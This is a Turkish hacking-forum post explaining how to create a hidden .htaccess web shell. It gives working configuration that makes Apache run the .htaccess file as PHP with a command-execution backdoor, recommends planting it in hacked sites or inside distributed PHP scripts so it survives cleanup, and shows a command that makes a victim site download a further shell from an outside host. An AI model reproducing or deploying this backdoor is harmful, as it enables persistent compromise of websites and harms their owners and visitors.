Gizli .htaccess Shelinizi Oluşturun !

'iMuh@fiz

'iMuh@fiz

Özel Üye
11 Ağu 2012
11,010
4
31
Bakü
Selamün aleyküm,

- Sizlere gizli .htaccess shell oluşturmayı göstereceğim..

- Bu shell’in kullanım alanı sizin hayal gücünüz ile sınırlıdır.

- Herhangi bir PHP scriptin en uç noktasına yerleştirip yayabilirsiniz.

- Veya Shell attığınız bir sitenin tenha bir klasörüne bırakabilirsiniz..

- Shelliniz silinse bile .htaccess büyük çoğunlukla silinmiyor.

- Siteye tekrardan shell atabilirsiniz :)

-#- Kullanım -#-

Kodlar:

[FONT=Courier New, Courier, mono]<Files ~ "^\\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET[’cmd’]); ?>
[/FONT]

7YXQ8L.jpg


Kodları sitede .htaccess olarak kaydediyoruz.

İşlem bu kadar.

Sonra .htaccess ile basit bir PHP komutu ile shellimizi uzaktan çekebiliriz.

KOD:
Kurbansite.com/.htaccess?cmd=wget -O ShellAdı.php http://www.ShellCekilecekSite.com/shellkodlari.txt
N3gGWQ.png



Not : .htaccess ile PHP komutlarını kullanabilirsiniz. Ben sadece Shell atmayı gösterdim.


Misyon dahilinde kullanmanız dileğiyle..


Alinti
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.